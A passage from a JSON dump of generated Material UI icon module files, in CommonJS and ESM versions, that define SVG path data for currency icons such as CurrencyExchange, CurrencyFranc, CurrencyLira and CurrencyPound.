0-7.01-1.85-9-4.67zm-2-9C1 5.92 5.92 1 12 1c3.72 0 7.01 1.85 9 4.67V3h2v6h-6V7h2.48C17.87 4.59 15.12 3 12 3c-4.97 0-9 4.03-9 9z\"\n}), 'CurrencyExchange');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyExchange.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.89 11.1c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.45-.82-1.92-2.54-2.24V5h-2v1.26c-2.48.56-2.49 2.86-2.49 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 2.9 2.96V19h2v-1.24c.4-.09 2.9-.59 2.9-3.22 0-1.39-.61-2.61-3.01-3.44M3 21H1v-6h6v2H4.52c1.61 2.41 4.36 4 7.48 4 4.97 0 9-4.03 9-9h2c0 6.08-4.92 11-11 11-3.72 0-7.01-1.85-9-4.67zm-2-9C1 5.92 5.92 1 12 1c3.72 0 7.01 1.85 9 4.67V3h2v6h-6V7h2.48C17.87 4.59 15.12 3 12 3c-4.97 0-9 4.03-9 9z\"\n}), 'CurrencyExchange');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyExchangeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.89 11.1c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.45-.82-1.92-2.54-2.24V5h-2v1.26c-2.48.56-2.49 2.86-2.49 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 2.9 2.96V19h2v-1.24c.4-.09 2.9-.59 2.9-3.22 0-1.39-.61-2.61-3.01-3.44M3 21H1v-6h6v2H4.52c1.61 2.41 4.36 4 7.48 4 4.97 0 9-4.03 9-9h2c0 6.08-4.92 11-11 11-3.72 0-7.01-1.85-9-4.67zm-2-9C1 5.92 5.92 1 12 1c3.72 0 7.01 1.85 9 4.67V3h2v6h-6V7h2.48C17.87 4.59 15.12 3 12 3c-4.97 0-9 4.03-9 9z\"\n}), 'CurrencyExchangeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyExchangeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.89 11.1c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.45-.82-1.92-2.54-2.24V5h-2v1.26c-2.48.56-2.49 2.86-2.49 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 2.9 2.96V19h2v-1.24c.4-.09 2.9-.59 2.9-3.22 0-1.39-.61-2.61-3.01-3.44M3 21H1v-6h6v2H4.52c1.61 2.41 4.36 4 7.48 4 4.97 0 9-4.03 9-9h2c0 6.08-4.92 11-11 11-3.72 0-7.01-1.85-9-4.67zm-2-9C1 5.92 5.92 1 12 1c3.72 0 7.01 1.85 9 4.67V3h2v6h-6V7h2.48C17.87 4.59 15.12 3 12 3c-4.97 0-9 4.03-9 9z\"\n}), 'CurrencyExchangeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyExchangeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 23c5.7 0 10.39-4.34 10.95-9.9.06-.59-.41-1.1-1-1.1-.51 0-.94.38-.99.88C20.52 17.44 16.67 21 12 21c-3.12 0-5.87-1.59-7.48-4H6c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1v-1.67C4.99 21.15 8.28 23 12 23m0-22C6.3 1 1.61 5.34 1.05 10.9c-.05.59.41 1.1 1 1.1.51 0 .94-.38.99-.88C3.48 6.56 7.33 3 12 3c3.12 0 5.87 1.59 7.48 4H18c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1v1.67C19.01 2.85 15.72 1 12 1m-.88 4.88c0-.49.4-.88.88-.88s.88.39.88.88v.37c1.07.19 1.75.76 2.16 1.3.34.44.16 1.08-.36 1.3-.36.15-.78.03-1.02-.28-.28-.38-.78-.77-1.6-.77-.7 0-1.81.37-1.81 1.39 0 .95.86 1.31 2.64 1.9 2.4.83 3.01 2.05 3.01 3.45 0 2.62-2.5 3.13-3.02 3.22v.37c0 .48-.39.88-.88.88s-.88-.39-.88-.88v-.42c-.63-.15-1.93-.61-2.69-2.1-.23-.44.03-1.02.49-1.2.41-.16.9-.01 1.11.38.32.61.95 1.37 2.12 1.37.93 0 1.98-.48 1.98-1.61 0-.96-.7-1.46-2.28-2.03-1.1-.39-3.35-1.03-3.35-3.31 0-.1.01-2.4 2.62-2.96z\"\n}), 'CurrencyExchangeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyExchangeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 23c5.7 0 10.39-4.34 10.95-9.9.06-.59-.41-1.1-1-1.1-.51 0-.94.38-.99.88C20.52 17.44 16.67 21 12 21c-3.12 0-5.87-1.59-7.48-4H6c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1v-1.67C4.99 21.15 8.28 23 12 23m0-22C6.3 1 1.61 5.34 1.05 10.9c-.05.59.41 1.1 1 1.1.51 0 .94-.38.99-.88C3.48 6.56 7.33 3 12 3c3.12 0 5.87 1.59 7.48 4H18c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1v1.67C19.01 2.85 15.72 1 12 1m-.88 4.88c0-.49.4-.88.88-.88s.88.39.88.88v.37c1.07.19 1.75.76 2.16 1.3.34.44.16 1.08-.36 1.3-.36.15-.78.03-1.02-.28-.28-.38-.78-.77-1.6-.77-.7 0-1.81.37-1.81 1.39 0 .95.86 1.31 2.64 1.9 2.4.83 3.01 2.05 3.01 3.45 0 2.62-2.5 3.13-3.02 3.22v.37c0 .48-.39.88-.88.88s-.88-.39-.88-.88v-.42c-.63-.15-1.93-.61-2.69-2.1-.23-.44.03-1.02.49-1.2.41-.16.9-.01 1.11.38.32.61.95 1.37 2.12 1.37.93 0 1.98-.48 1.98-1.61 0-.96-.7-1.46-2.28-2.03-1.1-.39-3.35-1.03-3.35-3.31 0-.1.01-2.4 2.62-2.96z\"\n}), 'CurrencyExchangeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyExchangeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.89 11.1c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.45-.82-1.92-2.54-2.24V5h-2v1.26c-2.48.56-2.49 2.86-2.49 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 2.9 2.96V19h2v-1.24c.4-.09 2.9-.59 2.9-3.22 0-1.39-.61-2.61-3.01-3.44M3 21H1v-6h6v2H4.52c1.61 2.41 4.36 4 7.48 4 4.97 0 9-4.03 9-9h2c0 6.08-4.92 11-11 11-3.72 0-7.01-1.85-9-4.67zm-2-9C1 5.92 5.92 1 12 1c3.72 0 7.01 1.85 9 4.67V3h2v6h-6V7h2.48C17.87 4.59 15.12 3 12 3c-4.97 0-9 4.03-9 9z\"\n}), 'CurrencyExchangeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyExchangeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.89 11.1c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.45-.82-1.92-2.54-2.24V5h-2v1.26c-2.48.56-2.49 2.86-2.49 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 2.9 2.96V19h2v-1.24c.4-.09 2.9-.59 2.9-3.22 0-1.39-.61-2.61-3.01-3.44M3 21H1v-6h6v2H4.52c1.61 2.41 4.36 4 7.48 4 4.97 0 9-4.03 9-9h2c0 6.08-4.92 11-11 11-3.72 0-7.01-1.85-9-4.67zm-2-9C1 5.92 5.92 1 12 1c3.72 0 7.01 1.85 9 4.67V3h2v6h-6V7h2.48C17.87 4.59 15.12 3 12 3c-4.97 0-9 4.03-9 9z\"\n}), 'CurrencyExchangeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyExchangeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.89 11.1c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.45-.82-1.92-2.54-2.24V5h-2v1.26c-2.48.56-2.49 2.86-2.49 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 2.9 2.96V19h2v-1.24c.4-.09 2.9-.59 2.9-3.22 0-1.39-.61-2.61-3.01-3.44M3 21H1v-6h6v2H4.52c1.61 2.41 4.36 4 7.48 4 4.97 0 9-4.03 9-9h2c0 6.08-4.92 11-11 11-3.72 0-7.01-1.85-9-4.67zm-2-9C1 5.92 5.92 1 12 1c3.72 0 7.01 1.85 9 4.67V3h2v6h-6V7h2.48C17.87 4.59 15.12 3 12 3c-4.97 0-9 4.03-9 9z\"\n}), 'CurrencyExchangeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyExchangeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.89 11.1c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.45-.82-1.92-2.54-2.24V5h-2v1.26c-2.48.56-2.49 2.86-2.49 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 2.9 2.96V19h2v-1.24c.4-.09 2.9-.59 2.9-3.22 0-1.39-.61-2.61-3.01-3.44M3 21H1v-6h6v2H4.52c1.61 2.41 4.36 4 7.48 4 4.97 0 9-4.03 9-9h2c0 6.08-4.92 11-11 11-3.72 0-7.01-1.85-9-4.67zm-2-9C1 5.92 5.92 1 12 1c3.72 0 7.01 1.85 9 4.67V3h2v6h-6V7h2.48C17.87 4.59 15.12 3 12 3c-4.97 0-9 4.03-9 9z\"\n}), 'CurrencyExchangeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyFranc.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V3H7v13H5v2h2v3h2v-3h4v-2H9v-3h8v-2H9V5z\"\n}), 'CurrencyFranc');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyFranc.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V3H7v13H5v2h2v3h2v-3h4v-2H9v-3h8v-2H9V5z\"\n}), 'CurrencyFranc');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyFrancOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V3H7v13H5v2h2v3h2v-3h4v-2H9v-3h8v-2H9V5z\"\n}), 'CurrencyFrancOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyFrancOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V3H7v13H5v2h2v3h2v-3h4v-2H9v-3h8v-2H9V5z\"\n}), 'CurrencyFrancOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyFrancRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v12H6c-.55 0-1 .45-1 1s.45 1 1 1h1v2c0 .55.45 1 1 1s1-.45 1-1v-2h3c.55 0 1-.45 1-1s-.45-1-1-1H9v-3h7c.55 0 1-.45 1-1s-.45-1-1-1H9V5h8c.55 0 1-.45 1-1\"\n}), 'CurrencyFrancRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyFrancRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v12H6c-.55 0-1 .45-1 1s.45 1 1 1h1v2c0 .55.45 1 1 1s1-.45 1-1v-2h3c.55 0 1-.45 1-1s-.45-1-1-1H9v-3h7c.55 0 1-.45 1-1s-.45-1-1-1H9V5h8c.55 0 1-.45 1-1\"\n}), 'CurrencyFrancRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyFrancSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V3H7v13H5v2h2v3h2v-3h4v-2H9v-3h8v-2H9V5z\"\n}), 'CurrencyFrancSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyFrancSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V3H7v13H5v2h2v3h2v-3h4v-2H9v-3h8v-2H9V5z\"\n}), 'CurrencyFrancSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyFrancTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 5V3H7v13H5v2h2v3h2v-3h4v-2H9v-3h8v-2H9V5z\"\n}), 'CurrencyFrancTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyFrancTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 5V3H7v13H5v2h2v3h2v-3h4v-2H9v-3h8v-2H9V5z\"\n}), 'CurrencyFrancTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyLira.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8.76V3h2v4.51L15 5v2.36l-4 2.51.01 2.35L15 9.72v2.36l-4 2.51V19c2.76 0 5-2.24 5-5h2c0 3.87-3.13 7-7 7H9v-5.16l-3 1.88v-2.36l3-1.88v-2.36L6 13v-2.36z\"\n}), 'CurrencyLira');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyLira.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8.76V3h2v4.51L15 5v2.36l-4 2.51.01 2.35L15 9.72v2.36l-4 2.51V19c2.76 0 5-2.24 5-5h2c0 3.87-3.13 7-7 7H9v-5.16l-3 1.88v-2.36l3-1.88v-2.36L6 13v-2.36z\"\n}), 'CurrencyLira');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyLiraOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8.76V3h2v4.51L15 5v2.36l-4 2.51.01 2.35L15 9.72v2.36l-4 2.51V19c2.76 0 5-2.24 5-5h2c0 3.87-3.13 7-7 7H9v-5.16l-3 1.88v-2.36l3-1.88v-2.36L6 13v-2.36z\"\n}), 'CurrencyLiraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyLiraOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8.76V3h2v4.51L15 5v2.36l-4 2.51.01 2.35L15 9.72v2.36l-4 2.51V19c2.76 0 5-2.24 5-5h2c0 3.87-3.13 7-7 7H9v-5.16l-3 1.88v-2.36l3-1.88v-2.36L6 13v-2.36z\"\n}), 'CurrencyLiraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyLiraRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 15.84-1.47.92c-.67.42-1.53-.06-1.53-.85 0-.34.18-.66.47-.85L9 13.48v-2.36l-1.47.92c-.67.42-1.53-.06-1.53-.85 0-.34.18-.66.47-.85L9 8.76V4c0-.55.45-1 1-1s1 .45 1 1v3.51l2.47-1.55c.67-.42 1.53.06 1.53.85 0 .34-.18.66-.47.85L11 9.87l.01 2.35 2.46-1.54c.67-.42 1.53.06 1.53.85 0 .34-.18.66-.47.85L11 14.59V19c2.47 0 4.52-1.79 4.93-4.15.08-.49.49-.85.98-.85.61 0 1.09.54 1 1.14C17.37 18.46 14.48 21 11 21h-1c-.55 0-1-.45-1-1z\"\n}), 'CurrencyLiraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyLiraRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 15.84-1.47.92c-.67.42-1.53-.06-1.53-.85 0-.34.18-.66.47-.85L9 13.48v-2.36l-1.47.92c-.67.42-1.53-.06-1.53-.85 0-.34.18-.66.47-.85L9 8.76V4c0-.55.45-1 1-1s1 .45 1 1v3.51l2.47-1.55c.67-.42 1.53.06 1.53.85 0 .34-.18.66-.47.85L11 9.87l.01 2.35 2.46-1.54c.67-.42 1.53.06 1.53.85 0 .34-.18.66-.47.85L11 14.59V19c2.47 0 4.52-1.79 4.93-4.15.08-.49.49-.85.98-.85.61 0 1.09.54 1 1.14C17.37 18.46 14.48 21 11 21h-1c-.55 0-1-.45-1-1z\"\n}), 'CurrencyLiraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyLiraSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8.76V3h2v4.51L15 5v2.36l-4 2.51.01 2.35L15 9.72v2.36l-4 2.51V19c2.76 0 5-2.24 5-5h2c0 3.87-3.13 7-7 7H9v-5.16l-3 1.88v-2.36l3-1.88v-2.36L6 13v-2.36z\"\n}), 'CurrencyLiraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyLiraSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8.76V3h2v4.51L15 5v2.36l-4 2.51.01 2.35L15 9.72v2.36l-4 2.51V19c2.76 0 5-2.24 5-5h2c0 3.87-3.13 7-7 7H9v-5.16l-3 1.88v-2.36l3-1.88v-2.36L6 13v-2.36z\"\n}), 'CurrencyLiraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyLiraTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8.76V3h2v4.51L15 5v2.36l-4 2.51.01 2.35L15 9.72v2.36l-4 2.51V19c2.76 0 5-2.24 5-5h2c0 3.87-3.13 7-7 7H9v-5.16l-3 1.88v-2.36l3-1.88v-2.36L6 13v-2.36z\"\n}), 'CurrencyLiraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyLiraTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8.76V3h2v4.51L15 5v2.36l-4 2.51.01 2.35L15 9.72v2.36l-4 2.51V19c2.76 0 5-2.24 5-5h2c0 3.87-3.13 7-7 7H9v-5.16l-3 1.88v-2.36l3-1.88v-2.36L6 13v-2.36z\"\n}), 'CurrencyLiraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyPound.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 21c1.93 0 3.62-1.17 4-3l-1.75-.88C16 18.21 15.33 19 14 19H9.1c.83-1 1.5-2.34 1.5-4 0-.35-.03-.69-.08-1H14v-2H9.82C9 10.42 8 9.6 8 8c0-1.93 1.57-3.5 3.5-3.5 1.5 0 2.79.95 3.28 2.28L16.63 6c-.8-2.05-2.79-3.5-5.13-3.5C8.46 2.5 6 4.96 6 8c0 1.78.79 2.9 1.49 4H6v2h2.47c.08.31.13.64.13 1 0 2.7-2.6 4-2.6 4v2z\"\n}), 'CurrencyPound');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyPound.mjs",
